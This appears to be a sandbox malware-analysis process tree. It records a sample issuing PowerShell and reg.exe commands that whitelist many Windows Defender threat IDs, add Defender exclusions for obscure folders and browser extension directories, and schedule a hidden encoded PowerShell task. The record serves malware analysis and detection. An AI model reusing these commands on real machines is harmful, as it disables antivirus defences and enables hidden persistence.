                                                                                                                                                                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                      PID:7104
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5892
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:2968
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:7032
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:5720
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:6684
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:2772
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:3900
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:1868
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:5700
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:6320
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:452
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:6544
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:5368
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:1868
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:5292
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:884
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:2196
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:4064
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:4372
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:440
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:5452
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:6872
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:4384
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:5532
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:5936
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:5480
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:1256
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:5492
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:6396
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:4076
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:4032
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:6908
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:4380
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:6704
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:5260
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:4652
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:6840
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:6356
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:4384
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:4860
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:2460
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:6740
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:5256
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:5336
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:2576
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:6556
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:6324
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:536
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:6108
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:6812
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:6532
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "gGwQcgliZ" /SC once /ST 01:08:48 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
